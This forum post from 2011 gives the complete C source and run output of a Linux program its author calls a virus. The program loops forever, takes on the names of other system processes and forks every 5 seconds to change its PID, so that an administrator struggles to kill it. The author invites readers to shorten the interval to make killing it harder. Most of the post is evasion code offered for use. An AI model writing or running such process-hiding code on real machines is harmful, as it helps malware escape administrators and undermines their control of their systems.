Virus in Linux - C Code That Changes it's Process Name and its Process ID at Run Time

Discussion in 'C' started by poornaMoksha, Nov 30, 2011.

  1. poornaMoksha

    poornaMoksha New Member

    Joined:
    Jan 29, 2011
    Messages:
    150
    Likes Received:
    33
    Trophy Points:
    0
    Occupation:
    Software developer
    Location:
    India
    After writing my previous article Virus Code in Linux - C Code That Changes it's Process Name Run Time, I wondered if a process can change its name then why cannot it change its PID. And what if a process can change both its name and PID after lets say every 1 second? Well it will be a difficult task for a system administrator to kill that process. SO I decided to go ahead with the Idea.

    Lets see what I did...

    The Code



    Here is the code for a program that changes its name and PID after every 5 seconds. I chose 5 seconds as its relatively easy for a user to kill this program once its run. If some one likes this code and wants to use it. He/she can reduce the sleep() time to 1 second and then run the code.

    Code:
    #include<stdio.h> 
    #include<stdlib.h> 
    #include<string.h> 
    #include<unistd.h> 
    #include<sys/types.h> 
     
    void change_pid() 
    { 
        pid_t pid; 
     
        // This function will replace the existing process image by 
        // a new process image. For all those who are new to fork() 
        // please refer to its man page and try out a few basic  
        // exercise to understand what this system call does. Just  
        // from the fact that this system call is made once but it  
        // returns twice, I must say that its not a trivial system  
        // call to understand. 
        pid = fork(); 
        if(0 == pid) 
        { 
            // pid ==0 means that this is child. Just print a log and 
            // do nothing here. Our motive was to create a new PID  
            // Which was only possible if we could create a new process 
            // image using fork. We did it successfully here. 
            printf("\n Child process created!!!!!\n"); 
        } 
        else 
        { 
            // This is the parent process, with old PID. We do not need 
            // it anymore so just exit from this. 
            printf("\n Created a new process, Exiting!!!!!\n"); 
            exit(0); 
        } 
    } 
         
     
    void change_name(char *argv[]) 
    { 
        char buff[1024]; // Buffer to read lines 
        char new_name[1028]; // Buffer to store new process name 
     
        char *ptr = NULL; 
        FILE *fp  = NULL; 
     
        a: memset(buff,'\0', sizeof(buff)); // Setting the memory with NULLs 
        memset(new_name,'\0', sizeof(new_name)); // Setting the memory with NULLs 
     
        // Introduce constant 3 bytes '123' in the begining  
        // of every process name that we change our process name to.  
        // So that we can at least easily track our process name 
        // when we check it using ps command. Note that 
        // this is only for practice purpose otherwise there 
        // is no need for a set of constant bytes like these. 
        new_name[0] = '1'; 
        new_name[1] = '2'; 
        new_name[2] = '3'; 
     
        // Run the command 'ps -aef > ps.txt' 
        // This command will store the result of 'ps -aef' in a text file 'ps.txt' 
        // The files would have entries like : 
           // UID        PID  PPID  C STIME TTY          TIME CMD 
           // root         1     0  0 20:49 ?        00:00:00 /sbin/init 
           // root         2     0  0 20:49 ?        00:00:00 [kthreadd] 
           // root         3     2  0 20:49 ?        00:00:00 [migration/0] 
           // root         4     2  0 20:49 ?        00:00:00 [ksoftirqd/0] 
     
        system("/bin/sh -c 'ps -aef > ps.txt'"); 
     
     
        // Open the file 'ps.txt' 
        fp = fopen("ps.txt", "r"); 
     
        if(NULL == fp) 
        { 
            printf("\n File open failed\n"); 
            //return -1; 
        } 
     
        // Get each line from file until the whole file is read or some error occurs 
        while(NULL != fgets(buff, sizeof(buff), fp)) 
        { 
            // Search for the character '[' in the line fetched from file. 
            // This is because most of the process names are enclosed in '[' brackets. 
            // For example : 
            // root         2     0  0 20:49 ?        00:00:00 [kthreadd] 
            ptr = strchr(buff, '['); 
     
            unsigned int len = strlen(buff); 
     
            if(NULL == ptr) 
            { 
                // Search for the character '/' in the line fetched from file. 
                // This is because many of the process names are start with '/'. 
                // For example : 
                // root         1     0  0 20:49 ?        00:00:00 /sbin/init 
                ptr = strchr(buff, '/'); 
            } 
            if(NULL != ptr) 
            { 
                // If any one of '[' or '/' is found than copy the complete process 
                // name in the buffer which already holds 123 as its first three bytes. 
                // Make sure that you do not overwrite the first three bytes of the buffer 
                // new_name which contains 123 as its first three bytes 
                strncat((new_name+3), ptr, ((buff + len-1) - ptr)); 
            } 
            else 
            { 
                // If the line fetched does not contain either of '[' or '/' 
                // Then use a default process name '/bin/bash' 
                ptr = "/bin/bash"; 
                strncpy((new_name+3), ptr, strlen(ptr)); 
            } 
     
            // Since by now we have the new_name buffer filled with 
            // new process name so copy this name to arg[0] so as to  
            // change our process name.   
            strncpy(argv[0], new_name, sizeof(new_name)); 
     
            printf("\n %s \n", new_name); 
     
            // Call this function to change the PID of the process by  
            // forking a new process. When the flow would return from  
            // this function, the process would be different and hence 
            // its PID would be different. 
            change_pid(); 
     
            //A delay of one second so that you can run the command 'ps -aef' 
            // and check the new name of our process and its new PID. Note  
            // that it is very now difficult to kill this process through  
            // ctrl+c as somehow its getting ignored (I will research more 
            // on this and will come back with analysis soon). I have kept  
            // the sleep interval to be 5 sec because the more I reduce it, 
            // the more difficult is for the user to kill it using : 
            //            kill -9 <PID> 
            // as PID keeps on changing within seconds.  
            sleep(5); 
             
            //Time to fetch a new line from ps.txt so just reset 
            // the buffer new_name with NULL bytes except the first 
            // three bytes which are '123'.  
            memset((new_name+3),'\0', sizeof(new_name)); 
        } 
     
        // Seems like either we are done reading all the lines 
        // from ps.txt or fgets() encountered some error. In either 
        // of the case, just close the file descriptor 
        fclose(fp); 
     
        // Since we do not want to stop even now, so lets re run the 
        // whole cycle again from running the command 'ps -aef > ps.txt' 
        // to reading each line using fgets() and changing the our process 
        // name accordingly 
        goto a; 
    } 
     
     
    int main(int argc, char* argv[]) 
    { 
        change_name(argv);     
        return 0; 
    }
    In this code, I created two functions :
    • change_name() -> for continuously changing the name
    • change_pid() -> for continuously changing the PID of the process
    Now, once a name is changes successfully, a call to change_pid() is made so that the a new process with new pid which will execute the same code gets created while the old process is terminated.

    Rest of the explanation I have provided as comments in the code itself.

    Output



    Now, the interesting part, lets run the code and see the output :

    Code:
     ~/practice $ ./namepid  
     
     123/bin/bash  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
    ~/practice $  
     123/sbin/init  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[kthreadd]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[migration/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[ksoftirqd/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[watchdog/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[migration/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[ksoftirqd/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[watchdog/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[events/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[events/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!
    When the code was executed, it started changing its name and its conveying that it is successfully changing its PID. Now I opened another terminal and checked the PID using the command ps -aef and running this command after every 5 seconds and I conformed that the PID was actually changing.

    Now I tried to kill it using ctrl+c :

    Code:
     123[cpuset]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[khelper]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[netns]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
    ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $  
     123[async/mgr]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[pm]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[sync_supers]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[bdi-default]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[kintegrityd/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[kintegrityd/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[kblockd/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!!
    But as you can see from the output, it kept on executing. This is something which I need to investigate that why SIGINT is being ignored here. Anyways after multiple tries, I was able to kill the process using :

    kill -9 <PID-of-process>

    Why it took multiple tries was because by the time I found the PID and wrote the above command, the PID use to get changed. But any how I got success. Thats why I was thinking that If the sleep() time is reduced to '1' sec then it will become very very difficult to kill the process.

    Conclusion



    To Conclude, In this article I extended my previous article where a process could change its name continuously on run time to a process which can now change its PID along with its name at run time.

    Stay tuned for more!!!!
     

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice